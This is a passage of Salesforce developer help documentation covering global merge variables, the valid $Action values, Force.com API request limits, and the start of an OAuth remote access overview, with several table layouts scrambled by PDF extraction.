Salesforce actions such as displaying the Accounts tab home
page, creating new accounts, editing accounts, and deleting
accounts. Use action merge fields in LINKTO and URLFOR
functions to reference the action selected.
1. Select the field type: $Action.
2. Insert a merge field in the format
$Action.object.action, such as
$Action.Account.New.
Note: For a list of actions and their supported
objects, see Valid Values for the $Action Global
Variable on page 2154.

S-Control Example:

The s-control below references the standard action for creating


new accounts in the $Action.Account.New merge field.
<html>
<body>
{!LINKTO("Create a New Account",
$Action.Account.New,
$ObjectType.Account)}
</body>
</html>

2137

Develop

Defining Custom S-Controls

Visualforce Example:
<apex:outputLink
value="{!URLFOR($Action.Account.New)}">Create
New Account</apex:outputLink>

Tips:

This global variable is only available for custom buttons and


links, s-controls, and Visualforce pages.

$Api
Description:
Use:

A global merge field type to use when referencing API URLs.


1. Select the field type: $Api.
2. Select a merge field, such as:

S-Control Example:

$Api.Enterprise_Server_URL__xxx: The
Enterprise WSDL SOAP endpoint where xxx

represents the version of the API. For example,


$Api.Enterprise_Server_URL_140 is the merge
field value for version 14.0 of the API.
$Api.Partner_Server_URL__xxx: The Partner
WSDL SOAP endpoint where xxx represents the
version of the API. $Api.Partner_Server_URL_120
is the merge field value for version 12.0 of the API.
$Api.Session_ID: The session ID.

The custom formula field below calls a service to replace the


SIC code. Replace myserver with the name of your server.
HYPERLINK("https://www.myserver.com/mypage.jsp"
&
"?Username="
& $User.Username &
"&crmSessionId="
& GETSESSIONID() &
"&crmServerUrl="
&
$Api.Partner_Server_URL_90 &
"&crmObjectId="
& Id &
"&crmFieldUpdate=sicCode",
"Update SIC Code")

Visualforce Example:

Use dot notation to return the session ID.


{!$Api.Session_ID}

Tips:

This global variable is only available for formula fields,


s-controls, custom buttons and links, and Visualforce pages.

2138

Develop

Defining Custom S-Controls

$Component
Description:

A global merge field type to use when referencing a Visualforce


component.

Use:

Each component in a Visualforce page has its own id attribute.


When the page is rendered, this attribute is the same as the
Document Object Model (DOM) ID.Use $Component.Id
in JavaScript to reference a specific component on a page.

Visualforce Example:
function beforeTextSave() {
document.getElementById('{!$component.msgpost}').value
= myEditor.getEditorHTML();
}

Tips:

This global variable is only available for Visualforce pages.

$componentLabel
Description:

A global merge field to use when referencing the label of an inputField component
on a Visualforce page that is associated with a message.

Use:

Return the label of an inputField component that is associated with a message.

Visualforce Example:
<apex:datalist var="mess" value="{!messages}">
<apex:outputText value="{!mess.componentLabel}:"
style="color:red/>
<apex:outputText value="{!mess.detail}" style="color:black"
/>
</apex:datalist>

Tips:

This global variable is only available for Visualforce pages.

$CurrentPage
Description:

A global merge field type to use when referencing the current Visualforce page.

Use:

Use this expression in a Visualforce page to access the current page parameters and values, the current
page name ($CurrentPage.Name), or the URL of the current page ($CurrentPage.URL).

Visualforce Example:
<apex:page standardController="Account">
<apex:pageBlock title="Hello {!$User.FirstName}!">
You belong to the {!account.name} account.<br/>
You're also a nice person.
</apex:pageBlock>
<apex:detail subject="{!account}" relatedList="false"/>
<apex:relatedList list="OpenActivities"
subject="{!$CurrentPage.parameters.relatedId}"/>
</apex:page>

Tips:

This global variable is only available for Visualforce pages.

2139

Develop

Defining Custom S-Controls

$Label
Description:

A global merge field type to use when referencing a custom


label in a Visualforce page.

Use:

Use this expression in a Visualforce page to access a custom


label. When the application server constructs the page to be
presented to the end-users browser, the value returned depends
upon the language setting of the contextual user. The value
returned is one of the following, in order of precedence:
1. the local translation's text
2. the packaged translation's text
3. the master label's text

Visualforce Example:
<apex:page>
<apex:pageMessage severity="info"
strength="1"
summary="{!$Label.firstrun_helptext}"
/>
</apex:page>

Tips:

This global variable is only available for Visualforce pages.

$Label.Site
Description:

A global merge field type to use when referencing a standard label in a Visualforce page. Like all
standard labels, the text will display based on the user's language and locale.

Use:

Use this expression in a Visualforce page to access a standard label. When the application server
constructs the page to be presented to the end-users browser, the value returned depends on the
language and locale of the user.
Salesforce provides the following labels:
Label

Message

authorization_required

Authorization Required

bandwidth_limit_exceeded

Bandwidth Limit Exceeded

change_password

Change Password

change_your_password

Change Your Password

click_forget_password

If you have forgotten your password, click Forgot


Password to reset it.

community_nickname

Nickname

confirm_password

Confirm Password

down_for_maintenance

<i>{0}</i> is down for maintenance

email

Email

2140

Develop

Defining Custom S-Controls

Label

Message

email_us

email us

enter_password

Did you forget your password? Please enter your username


below.

error

Error: {0}

error2

Error

file_not_found

File Not Found

forgot_password

Forgot Password

forgot_password_confirmation

Forgot Password Confirmation

forgot_your_password_q

Forgot Your Password?

get_in_touch

Please <a href="{0}">{1}</a> if you need to get in touch.

go_to_login_page

Go to Login Page

img_path

/img/sites

in_maintenance

Down For Maintenance

limit_exceeded

Limit Exceeded

login

Login

login_button

Login

login_or_register_first

You must first log in or register before accessing this page.

logout

Logout

new_password

New Password

new_user_q

New User?

old_password

Old Password

page_not_found

Page Not Found

page_not_found_detail

Page Not Found: {0}

password

Password

passwords_dont_match

Passwords did not match.

powered_by

Powered by

register

Register

registration_confirmation

Registration Confirmation

site_login

Site Login

site_under_construction

Site Under Construction

sorry_for_inconvenience

Sorry for the inconvenience.

sorry_for_inconvenience_back_shortly

Sorry for the inconvenience. We'll be back shortly.

stay_tuned

Stay tuned.

2141

Develop

Defining Custom S-Controls

Label

Message

submit

Submit

temp_password_sent

An email has been sent to you with your temporary


password.

thank_you_for_registering

Thank you for registering. An email has been sent to you


with your temporary password.

under_construction

<i>{0}</i> is under construction

user_registration

New User Registration

username

Username

verify_new_password

Verify New Password

Visualforce Example:
<apex:page>
<apex:pageMessage severity="info"
strength="1"
summary="{!$Label.Site.temp_password_sent}"
/>
</apex:page>

Tips:

This global variable is only available for Visualforce pages.

$ObjectType
Description:

Use:

A global merge field type to use when referencing standard


or custom objects such as accounts, cases, or opportunities as
well as the value of a field on that object. Use object type merge
fields in LINKTO, GETRECORDIDS, and URLFOR
functions to reference a specific type of data or the VLOOKUP
function to reference a specific field in a related object.
1. Select the field type: $ObjectType.
2. Select an object to insert a merge field representing that
object, such as $ObjectType.Case.
Optionally, select a field on that object using the following
syntax:
$ObjectType.Role_Limit__c.Fields.Limit__c.

Custom Button Example:

The custom list button below references the cases standard


object in the$ObjectType.Case merge field.
{!REQUIRESCRIPT
("/soap/ajax/13.0/connection.js")}
var records =
{!GETRECORDIDS($ObjectType.Sample)};
var newRecords = [];

2142

Develop

Defining Custom S-Controls

if (records[0] == null)
{
alert("Please select at least one row")
}
else
{
for (var n=0; n<records.length; n++) {
var c = new sforce.SObject("Case");
c.id = records[n];
c.Status = "New";
newRecords.push(c);
}
result =
sforce.connection.update(newRecords);
window.location.reload();
}

Validation Rule Example:

This example checks that a billing postal code is valid by


looking up the first five characters of the value in a custom
object called Zip_Code__c that contains a record for every
valid zip code in the US. If the zip code is not found in the
Zip_Code__c object or the billing state does not match the
corresponding State_Code__c in the Zip_Code__c object, an
error is displayed.
AND(
LEN(BillingPostalCode) > 0,
OR(BillingCountry = "USA",
BillingCountry = "US"),
VLOOKUP(
$ObjectType.Zip_Code__c.Fields.State_Code__c,
$ObjectType.Zip_Code__c.Fields.Name,
LEFT(BillingPostalCode,5))
<> BillingState
)

Visualforce Example:

The following example retrieves the label for the account


namefield:
{!$ObjectType.account.fields.name.label}

Tips:

This global variable is available in Visualforce pages, custom


buttons and links, s-controls and validation rules.

$Organization
Description:

Use:

A global merge field type to use when referencing information


about your company profile. Use organization merge fields to
reference your organization's city, fax, ID, or other details.
1. Select the field type: $Organization.

2143

Develop

Defining Custom S-Controls

2. Select a merge field such as $Organization.Fax.


Validation Rule Example:

Use organization merge fields to compare any attribute for


your organization with that of your accounts. For example,
you may want to determine if your organization has the same
country as your accounts. The validation formula below
references your organization's country merge field and requires
a country code for any account that is foreign.
AND($Organization.Country <> BillingCountry,
ISNULL( Country_Code__c ) )

Visualforce Example:

Use dot notation to access your organization's information.


For example, to retrieve the street and state of your
organization, use the following:
{!$Organization.Street}
{!$Organization.State}

Note that you cannot use the {!$Organization.UiSkin}


in Visualforce.
Tips:

The organization merge fields get their values from whatever


values are currently stored as part of your company information
in Salesforce.

$Page
Description:

A global merge field type to use when referencing a Visualforce


page.

Use:

Use this expression in a Visualforce page to access another


Visualforce page.

Visualforce Example:
<apex:page>
<h1>Linked</h1>
<a href="{!$Page.otherPage}">This is a
link to another page</a>
</apex:page>

Tips:

This global variable is only available for Visualforce pages.

$Profile
Description:

Use:

A global merge field type to use when referencing information


about the current user's profile. Use profile merge fields to
reference information about the user's profile such as license
type or name.
1. Select the field type: $Profile.

2144

Develop

Defining Custom S-Controls

2. Select a merge field such as $Profile.Name.


Validation Rule Example:

The validation rule formula below references the profile name


of the current user to ensure that only the record owner or
users with this profile can make changes to a custom field
called Personal Goal:
AND(
ISCHANGED( Personal_Goal__c ),
Owner <> $User.Id,
$Profile.Name <> "Custom: System Admin"
)

Visualforce Example:

To return the current user's profile, use the following:


{$Profile.Name}

Tips:

$Profile merge fields are only available in Editions that

can create custom profiles.


Use profile names to reference standard profiles in
$Profile merge fields. If you previously referenced the
internal value for a profile, use the following list to
determine the name to use instead:
Standard Profile
Name

$Profile Value

System Administrator PT1


Standard User

PT2

Ready Only

PT3

Solution Manager

PT4

Marketing User

PT5

Contract Manager

PT6

Partner User

PT7

Standard Platform
User

PT8

Standard Platform
One App User

PT9

Customer Portal User PT13


Customer Portal
Manager

PT14

Your merge field values will be blank if the profile


attributes are blank. For example profile Description
is not required and may not contain a value.

2145

Develop

Defining Custom S-Controls

You do not need to give users permissions or access rights


to their profile information to use these merge fields.

$RecordType
Description:

A global merge field to use when referencing a record type.

Use:

Add $RecordType manually to your s-control.

Visualforce Example:

To return the ID of the current record type, use the following:


{$RecordType.Id}

Tips:

Use $RecordType.Id to reference a specific record type


instead of $RecordType.Id. While $RecordType.Id
makes a formula more readable, you must update the
formula if the name of the record type changes, whereas
the ID of a record type never changes.
Do not use the $RecordType.Id variable in cross-object
formulas. The $RecordType.Id variable only resolves
to the record containing the formula, not the record to
which the formula spans.

$Request
Description:

A global merge field to use when referencing a query parameter


by name that returns a value.

Use:

Add $Request manually to your s-control.

S-Control Example:

The snippet below, named Title_Snippet, requires two


input parameters: titleTheme and titleText. You can
reuse it in many s-controls to provide page title and theme in
your HTML.
<h2 class={!$Request.titleTheme}.title>
{!$Request.titleText}</h2>

The s-control below calls this snippet using the INCLUDE


function, sending it the parameters for both the title and theme
of the HTML page it creates.
<html>
<head>
</head>
<body>
{! INCLUDE($SControl.Title_Snippet,
[titleTheme = "modern", titleText = "My
Sample Title"]) }
... Insert your page specific content here
...

2146

Develop

Defining Custom S-Controls

</body>
</html>

Tips:

Do not use $Request in Visualforce pages to reference query


parameters. Use $CurrentPage instead.

$Resource
Description:

A global merge field type to use when referencing an existing


static resource by name in a Visualforce page. You can also
use resource merge fields in URLFOR functions to reference
a particular file in a static resource archive.

Use:

Use $Resource to reference an existing static resource. The


format is $Resource.nameOfResource, such as
$Resource.TestImage.

Visualforce Examples:

The Visualforce component below references an image file


that was uploaded as a static resource and given the name
TestImage:
<apex:image url="{!$Resource.TestImage}"
width="50" height="50"/>

To reference a file in an archive (such as a .zip or .jar file),


use the URLFOR function. Specify the static resource name
that you provided when you uploaded the archive with the
first parameter, and the path to the desired file within the
archive with the second. For example:
<apex:image url="{!URLFOR($Resource.TestZip,
'images/Bluehills.jpg')}"
width="50" height="50"/>

Tips:

This global variable is only available for Visualforce pages.

$SControl
Important: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never
created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain
unaffected, and can still be edited.
Description:

Use:

A global merge field type to use when referencing an existing


custom s-control by name. Use s-control merge fields in
LINKTO, INCLUDE, and URLFOR functions to reference
one of your custom s-controls.
1. Select the field type: $SControl.
2. Select an s-control to insert a merge field representing that
s-control, such as $Scontrol.Header_Snippet.

2147

Develop

Defining Custom S-Controls

S-Control Example:

The s-control below references the snippet in the


$Scontrol.Header_Snippet merge field:
<html>
<body>
{! INCLUDE($SControl.Header_Snippet,
[title = "My Title", theme = "modern"])}
</body>
</html>

Visualforce Example:

The following example shows how to link to an s-control


named HelloWorld in a Visualforce page:
<apex:page>
<apex:outputLink
value="{!$SControl.HelloWorld}">Open the
HelloWorld s-control</apex:outputLink>
</apex:page>

Note that if you simply want to embed an s-control in a page,


you can use the <apex:scontrol> tag without the
$SControl merge field. For example:
<apex:page>
<apex:scontrol controlName="HelloWorld" />
</apex:page>

Tips:

The drop-down list for Insert Merge Field lists all


your custom s-controls except snippets. Although snippets
are s-controls, they behave differently. For example, you
cannot reference a snippet from a URLFOR function
directly; snippets are not available when creating a custom
button or link that has a Content Source of Custom
S-Control; and you cannot add snippets to your page
layouts. To insert a snippet in your s-control, use the
Insert Snippet drop-down button.
This global variable is only available for custom buttons
and links, s-controls, and Visualforce pages.

$Site
Description:
Use:

A global merge field type to use when referencing information about the current Force.com site.
Use dot notation to access information about the current Force.com site. Note that only the following
site fields are available:
Merge Field

Description

{!$Site.Name}

Returns the API name of the current site.

{!$Site.Domain}

Returns the Force.com domain name for your organization.

2148

Develop

Defining Custom S-Controls

Merge Field

Description

{!$Site.CustomWebAddress}

Returns the value of the Custom Web Address field for the
current site.

{!$Site.OriginalUrl}

Returns the original URL for this page if it is a designated


error page for the site; otherwise, returns null.

{!$Site.CurrentSiteUrl}

Returns the value of the site URL for the current request (for
example, http://myco.com/ or
https://myco.force.com/prefix/).

{!$Site.LoginEnabled}

Returns true if the current site is associated with an active


login-enabled portal; otherwise returns false.

{!$Site.RegistrationEnabled}

Returns true if the current site is associated with an active


self-regitration-enabled Customer Portal; otherwise returns
false.

{!$Site.IsPasswordExpired}

For authenticated users, returns true if the currently


logged-in user's password is expired. For non-authenticated
users, returns false.

{!$Site.AdminEmailAddress}

Returns the value of the Site Contact field for the current
site.

{!$Site.Prefix}

Returns the URL path prefix of the current site. For example,
if your site URL is myco.force.com/partners, partners
is the path prefix. Returns null if the prefix is not defined, or
if the page was accessed using a custom Web address.

{!$Site.Template}

Returns the template name associated with the current site;


returns the default template if no template has been
designated.

{!$Site.ErrorMessage}

Returns an error message for the current page if it is a


designated error page for the site and an error exists; otherwise,
returns an empty string.

{!$Site.ErrorDescription}

Returns the error description for the current page if it is a


designated error page for the site and an error exists; otherwise,
returns an empty string.

{!$Site.AnalyticsTrackingCode}

The tracking code associated with your site. This code can be
used by services like Google Analytics to track page request
data for your site.

Visualforce Example: The following example shows how to use the $Site.Template merge field:
<apex:page title="Job Application Confirmation" showHeader="false"
standardStylesheets="true">
<!-- The site template provides layout & style for the site -->
<apex:composition template="{!$Site.Template}">
<apex:define name="body">
<apex:form>
<apex:commandLink value="<- Back to Job Search"
onclick="window.top.location='{!$Page.PublicJobs}';return
false;"/>

2149

Develop

Defining Custom S-Controls

<br/>
<br/>
<center><apex:outputText value="Your application has been saved.
Thank
you for your interest!"/></center>
<br/>
<br/>
</apex:form>
</apex:define>
</apex:composition>
</apex:page>

Tips:

This global variable is available in Visualforce pages, email templates, and s-controls.

$System.OriginDateTime
Description:

Use:

Formula Example:

A global merge field that represents the literal value of


1900-01-01 00:00:00. Use this global variable when
performing date/time offset calculations or to assign a literal
value to a date/time field.
1. Select the field type: $System.
2. Select OriginDateTime from the Insert Merge
Field option.
The example below illustrates how to convert a date field into
a date/time field. It uses the date in the OriginDateTime
merge field to get the number of days since a custom field
called My Date Field. Then, it adds the number of days to
the OriginDateTime value.
$System.OriginDatetime + ( My_Date_Field__c
- DATEVALUE($System.OriginDatetime) )

Note: OriginDateTime is in the GMT time zone


but the result is displayed in the user's local time zone.

Visualforce Example:

The following example calculates the number of days that have


passed since 1900:
{!NOW() - $System.OriginDateTime}

Tips:

This global variable is available in Visualforce pages, default


values, field updates, formula fields, s-controls, and validation
rules.

2150

Develop

Defining Custom S-Controls

$User
Description:

Use:

Validation Rule Example:

A global merge field type to use when referencing information


about the current user. User merge fields can reference
information about the user such as alias, title, and ID.
1. Select the field type: $User.
2. Select a merge field such as $User.Username.
The validation rule formula below references the ID of the
current user to determine if the current user is the owner of
the record. Use an example like this to ensure that only the
record owner or users with an administrator profile can make
changes to a custom field called Personal Goal:
AND(
ISCHANGED( Personal_Goal__c ),
Owner <> $User.Id,
$Profile.Name <> "Custom: System Admin"
)

Visualforce Example:

The following example displays the current user's company


name, as well as the status of the current user (which returns
a Boolean value).
<apex:page>
<h1>Congratulations</h1>
This is your new Apex Page
<p>The current company name for this
user is: {!$User.CompanyName}</p>
<p>Is the user active?
{!$User.isActive}</p>
</apex:page>

Tips:

The current user is the person changing the record that


prompted the default value, validation rule, or other
operation that uses these global merge fields.
When a Web-to-Case or Web-to-Lead process changed
a record, the current user is the Default Lead Owner
or Default Case Owner.
When a workflow field update changes a record, the user
is the Default Workflow User.
Some of the $User merge fields can be used in mobile
configuration filters. For more information, see Merge
Fields for Mobile Filter Criteria on page 962.

2151

Develop

Defining Custom S-Controls

$User.UITheme and $User.UIThemeDisplayed


Description:

These global merge fields identify the Salesforce look and feel
a user sees on a given Web page.
The difference between the two variables is that
$User.UITheme returns the look and feel set by the user,
while $User.UIThemeDisplayed returns the actual look
and feel. For example, a user may have the permissions to see
the new user interface theme look and feel, but if they are
using a browser that doesn't support that look and feel,
$User.UIThemeDisplayed returns a different value.
Factors that affect the expected theme from displaying include
the user agent of the browser and whether accessibility mode
is enabled.

Use:

Use these variables to identify the CSS used to render


Salesforce web pages to a user. Both variables return one of
the following values:
Theme1Obsolete Salesforce theme
Theme2Salesforce theme used prior to Spring '10
PortalDefaultSalesforce Customer Portal theme
WebstoreSalesforce AppExchange theme
Theme3Current Salesforce theme, introduced during
Spring '10

Visualforce Example:

The following example shows how you can render different


layouts based on a user's theme:
<apex:page>
<apex:pageBlock title="My Content"
rendered="{!$User.UITheme == 'Theme2'}">
// this is the old theme...
</apex:pageBlock>
<apex:pageBlock title="My Content"
rendered="{!$User.UITheme == 'Aloha'}">
//this is the new theme ...
</apex:pageBlock>
</apex:page>

The section Styling Visualforce Pages in the Visualforce


Developer's Guide provides more information on how to use
these global variables.

$UserRole
Description:

Use:

A global merge field type to use when referencing information


about the current user's role. Role merge fields can reference
information such as role name, description, and ID.
1. Select the field type: $UserRole.

2152

Develop

Defining Custom S-Controls

2. Select a merge field such as $UserRole.Name.


Validation Rule Example:

The validation rule formula below references the user role


name to validate that a custom field called Discount
Percent does not exceed the maximum value allowed for
that role:
Discount_Percent__c >
VLOOKUP($ObjectType.Role_Limits__c.Fields.Limit__c,
$ObjectType.Role_Limits__c.Fields.Name,
$UserRole.Name)

Visualforce Example:
{!$UserRole.LastModifiedById}

Tips:

The current user is the person changing the record that


prompted the default value, validation rule, or other
operation that uses these global merge fields.
When a Web-to-Case or Web-to-Lead process changed
a record, the current user is the Default Lead Owner
or Default Case Owner.
When a workflow field update changes a record, the user
is the Default Workflow User.
Note: You cannot use the following $UserRole
values in Visualforce:

CaseAccessForAccountOwner
ContactAccessForAccountOwner
OpportunityAccessForAccountOwner
PortalType

See Also:
Defining Custom S-Controls
Useful S-Controls
Tips on Building S-Controls
Documentation Resources for Force.com Developers

2153

Develop

Defining Custom S-Controls

Valid Values for the $Action Global Variable


$Action global variable available in: All Editions

User Permissions Needed


To create, edit, and delete custom s-controls, formulas, or
Visualforce pages:

"Customize Application"

The following table lists the actions you can reference with the $Action global variable and the objects on which you can
perform those actions. The values available in your organization may differ depending on the features you enable.
Value

Description

Objects

Accept

Accept a record.

Activate

Activate a contract.

Contract

Add

Add a product to a price book.

Product2

AddCampaign

Add a member to a campaign.

Campaign

AddInfluence

Add a campaign to an opportunity's list Opportunity


of influential campaigns.

AddProduct

Add a product to price book.

OpportunityLineItem

AddToCampaign

Add a contact or lead to a campaign.

AddToOutlook

Add an event to Microsoft Outlook.

Event

AdvancedSetup

Launch campaign advanced setup.

Campaign

AltavistaNews

Launch www.altavista.com/news/.

Cancel

Cancel an event.

Event

CaseSelect

Specify a case for a solution.

Solution

Ad group
Case
Event
Google campaign
Keyword
Lead
Search phrase
SFGA version
Text ad

Contact
Lead

Account
Lead

2154

Develop

Defining Custom S-Controls

ChangeOwner

Change the owner of a record.

Account
Ad group
Campaign
Case
Contact
Contract
Google campaign
Keyword
Leads
Opportunities
Search phrase
SFGA version
Text ad

ChangeStatus

Change the status of a case.

Case
Lead

ChoosePricebook

Choose the price book to use.

OpportunityLineItem

Clone

Clone a record.

CloneAsChild

Create a related case with the details of Case


a parent case.

CloseCase

Close a case.

Convert

Create a new account, contact, and


Lead
opportunity using the information from
a lead.

ConvertLead

Convert a lead to a campaign member.

Ad group
Asset
Campaign
Campaign member
Case
Contact
Contract
Event
Google campaign
Keyword
Lead
Opportunity
Product
Search phrase
SFGA version
Text ad

Case

Campaign Member

2155

Develop

Defining Custom S-Controls

Create_Opportunity

Create an opportunity based on a


campaign member.

Campaign Member

Decline

Decline an event.

Event

Delete

Delete a record.

Ad group
Asset
Campaign
Campaign member
Case
Contact
Contract
Event
Google campaign
Keyword
Lead
Opportunity
Opportunity product
Product
Search phrase
SFGA version
Solution
Task
Text ad

DeleteSeries

Delete a series of events or tasks.

Event
Task

DisableCustomerPortal

Disable a Customer Portal user.

Contact

DisableCustomerPortalAccount

Disable a Customer Portal account.

Account

DisablePartnerPortal

Disable a Partner Portal user.

Contact

DisablePartnerPortalAccount

Disable a Partner Portal account.

Account

Download

Download an attachment.

Attachment
Document

Edit

Edit a record.

Ad group
Asset
Campaign
Campaign member
Case
Contact
Contract
Event

2156

Develop

Defining Custom S-Controls

Google campaign
Keyword
Lead
Opportunity
Opportunity product
Product
Search phrase
SFGA version
Solution
Task
Text ad

EditAllProduct

Edit all products in a price book.

OpportunityLineItem

EnableAsPartner

Designate an account as a partner


account.

Account

EnablePartnerPortalUser

Enable a contact as a Partner Portal user. Contact

EnableSelfService

Enable a contact as a Self-Service user.

Contact

FindDup

Display duplicate leads.

Lead

FollowupEvent

Create a follow-up event.

Event

FollowupTask

Create a follow-up task.

Event

HooversProfile

Display a Hoovers profile.

IncludeOffline

Include an account record in Connect


Offline.

Account

GoogleMaps

Plot an address on Google Maps.

Account
Contact
Lead

GoogleNews

Display www.google.com/news.

Account
Contact
Lead

GoogleSearch

Display www.google.com.

Account
Contact
Lead

List

List records of an object.

Ad group
Campaign
Case
Contact

Account
Lead

2157

Develop

Defining Custom S-Controls

Contract
Google campaign
Keyword
Lead
Opportunity
Product
Search phrase
SFGA version
Solution
Text ad

LogCall

Log a call.

Activity

MailMerge

Generate a mail merge.

Activity

ManageMembers

Launch the Manage Members page.

Campaign

MassClose

Close multiple cases.

Case

Merge

Merge contacts.

Contact

New

Create a new record.

NewTask

Create a task.

Task

RequestUpdate

Request an update.

SelfServSelect

Register a user as a Self Service user.

Solution

SendEmail

Send an email.

Activity

Activity
Ad group
Asset
Campaign
Case
Contact
Contract
Event
Google campaign
Keyword
Lead
Opportunity
Search phrase
SFGA version
Solution
Task
Text ad

Contact
Activity

2158

Develop

Defining Custom S-Controls

SendGmail

Open a blank email in Gmail.

Sort

Sort products in a price book.

OpportunityLineItem

Share

Share a record.

Account
Ad group
Campaign
Case
Contact
Contract
Google campaign
Keyword
Lead
Opportunity
Search phrase
SFGA version
Text ad

Submit for Approval

Submit a record for approval.

Account
Activity
Ad group
Asset
Campaign
Campaign member
Case
Contact
Contract
Event
Google campaign
Keyword
Lead
Opportunity
Opportunity product
Product
Search phrase
SFGA version
Solution
Task
Text ad

Tab

Access the tab for an object.

Ad group
Campaign

Contact
Lead

2159

Develop

Defining Custom S-Controls

Case
Contact
Contract
Google campaign
Keyword
Lead
Opportunity
Product
Search phrase
SFGA version
Solution
Text ad
Activity
Ad group
Asset
Campaign
Campaign member
Case
Contact
Contract
Event
Google campaign
Keyword
Lead
Opportunity
Opportunity product
Product
Search phrase
SFGA version
Solution
Text ad

View

View a record.

ViewAllCampaignMembers

List all campaign members.

Campaign

ViewCampaignInfluenceReport

Display the Campaigns with Influenced Campaign


Opportunities report.

ViewPartnerPortalUser

List all Partner Portal users.

Contact

ViewSelfService

List all Self-Service users.

Contact

YahooMaps

Plot an address on Yahoo! Maps.

Account
Contact
Lead

2160

Develop

Force.com API Usage Limits

YahooWeather

Display

Contact

http://weather.yahoo.com/.

See Also:
Understanding Global Variables

Force.com API Usage Limits


Available in: Professional, Enterprise, Developer, and Database.com Editions

To maintain optimum performance and ensure that the Force.com API is available to all of our customers, salesforce.com
balances transaction loads by imposing two types of limits:
Concurrent API Request Limits
Total API Request Limits

When a call exceeds a request limit, an error is returned.

Concurrent API Request Limits


The following table lists the limits for various types of organizations for concurrent requests (calls) with a duration of 20
seconds or longer.
Organization Type

Limit

Developer Edition

Trial organizations

Production organizations

25

Sandbox

25

Total API Request Limits


The following table lists the limits for the total API requests (calls) per 24-hour period for an organization.
Salesforce Edition

Minimum

Maximum

All Editions:
N/A
DebuggingHeader on API
testing calls for Apex specified.
Valid in API version 20 and
later.

1,000

1,000

Developer Edition

5,000

5,000

5,000

1,000,000

Enterprise Edition

API Calls Per License Type

N/A

Salesforce: 1,000

2161

Develop

Force.com API Usage Limits

Salesforce Edition

Salesforce Platform: 1,000


Force.com - One App: 200
Gold Partner: 200

Unlimited Edition

Salesforce: 5,000
Salesforce Platform: 5,000
Force.com - One App: 200
Gold Partner: 200

Sandbox

N/A

Professional Edition with


API access enabled

API Calls Per License Type

Minimum

Maximum

5,000

Unlimited.
However, at any
high limit, it is
likely that other
limiting factors
such as system load
may prevent you
from using your
entire allocation of
calls in a 24hour
period.

N/A

5,000,000

Limits are enforced against the aggregate of all API calls made by the organization in a 24 hour period; limits are not on a
per-user basis. When an organization exceeds a limit, all users in the organization may be temporarily blocked from making
additional calls. Calls will be blocked until usage for the preceding 24 hours drops below the limit.
In the Salesforce application, administrators can view how many API requests have been issued in the last 24 hours on the
Company Information page at Your Name > Setup > Company Profile > Company Information. Administrators can also
view a more detailed report of API usage over the last seven days by navigating to the Reports tab, selecting the Administrative
Reports folder and clicking the API Usage Last 7 days report.
Note: Limits are automatically enforced for all editions.

Any action that sends a call to the API counts toward usage limits, except the following:

Outbound messages
Apex callouts

You can configure your organization so that email is sent to a designated user when the number of API requests has exceeded
a specified percentage of the limit. For more information, see About API Usage Notifications on page 917.

Example API Usage Metering Calculations


The following examples illustrate API usage metering calculations for several scenarios:

For an Enterprise Edition organization with five Salesforce licenses, the request limit is 5,000 requests (5 licenses X 1,000
calls).
For an Enterprise Edition organization with 15,000 Salesforce licenses, the request limit is 1,000,000 (the number of
licenses X 1,000 calls is greater than the maximum value, so the lower limit of 1,000,000 is used).
For a Developer Edition organization that made 4,500 calls at 5:00 AM Wednesday, 499 calls at 11:00 PM Wednesday,
only one more call could successfully be made until 5:00 AM Thursday.
For an Enterprise Edition organization with 20 Gold Partner licenses, the request limit is 5,000 (the number of licenses
X 200 calls is less than the minimum value of 5,000).

2162

Develop

Documentation Resources for Force.com Developers

Increasing Total API Request Limit


The calculation of the API request limit based on user licenses is designed to allow sufficient capacity for your organization
based on your number of users. If you need a higher limit and you don't want to purchase additional user licenses or upgrade
to Unlimited Edition, you can purchase additional API calls. For more information, contact your account representative.
Before you purchase additional API calls, you should perform a due diligence of your current API usage. Client applications,
whether it is your own enterprise applications or partner applications, that make calls to the API can often be optimized to
use fewer API calls to do the same work. If you are using a partner product, you should consult with the vendor to verify that
the product is making optimal use of the API. A product that makes inefficient use of the API will incur unnecessary cost for
your organization.

See Also:
Monitoring Resources
Salesforce Editions and Limits
Documentation Resources for Force.com Developers
Understanding User License Types

Documentation Resources for Force.com Developers


The Developer Force Technical Library is your resource for information about developing on the Force.com platform. Here
you can learn Force.com fundamentals and advanced programming techniques, get started with Visualforce or Apex, learn
how to write SOQL and SOSL queries, dig into Web services and metadata APIs, and more.
Find everything from high-level tutorials to detailed reference guides and sample code, and learn how to package and implement
your apps.
Note: Many of these developer documentation resources are only available in English.

See Also:
Using Salesforce Help

Remote Access Application Overview


Available in: All Editions

User Permissions Needed


To manage, create, edit, and delete OAuth applications:

Manage Remote Access

A remote access application is an application external to Salesforce that uses the OAuth protocol to verify both the Salesforce
user and the external application. OAuth is an open protocol that allows secure authentication for access to a users data,

2163

Develop

Remote Access Application Overview

without handing out the users username and password. It is often described as the valet key of software access: a valet key
only allows access to certain features of your car: you cannot open the trunk or glove compartment using a valet key.
The following is the general flow for using a remote access application with Salesforce:
1. A developer uses the remote access pages in Salesforce (Your Name > Setup > Develop > Remote Access) to define a
remote access application.
In this example, the remote access application is a web application, which uses data that already exists in Salesforce.
2. The developer uses the generated client credentials from the remote access application detail page and develops their web
application using an OAuth library.
3. A user starts to use the developers web application and performs an action that requires access to their Salesforce data.
4. The user is redirected to Salesforce using the OAuth protocol, and presented with the standard Salesforce login page.
5. Once the user successfully logs in, the Remote Access Authorization page displays. The user must verify if they want to
grant the web application access to the their Salesforce data.
6. If the user approves access, they are redirected back to the originating web application with an authorization code.
7. The web application exchanges this code for an access token, which grants them access to the users Salesforce data. In
addition, depending on the authentication flow used, a refresh token might be granted, allowing continued access to the
users account.
8. After a user has granted access to a remote access application, he or she can revoke that access by clicking Your Name >
Setup > My Personal Information > Personal Information and clicking Deny next to the name of the application in the
Remote Access related list.
While this example illustrates a common use of OAuth, Salesforce supports a number of authentication flows for OAuth 2.0,
so you can authenticate users of Web, JavaScript, desktop, or mobile applications. Salesforce currently supports OAuth versions
1.0.A and 2.0.
Note: Salesforce is compatible with Draft v225 of the OAuth 2.0 protocol from the IETF working group.

For more information on the OAuth standard, see the OAuth.net documentation.
For more information on terminology, see Remote Access Applications and OAuth Terminology on page 2165.
Note:

OAuth does not automatically limit access to a users data. Limits to data access are either specified by the users
permissions or by the package access controls of a remote access application that is included in a managed package.
Users can authorize a remote access application to access their Salesforce more than once, for example, for both a
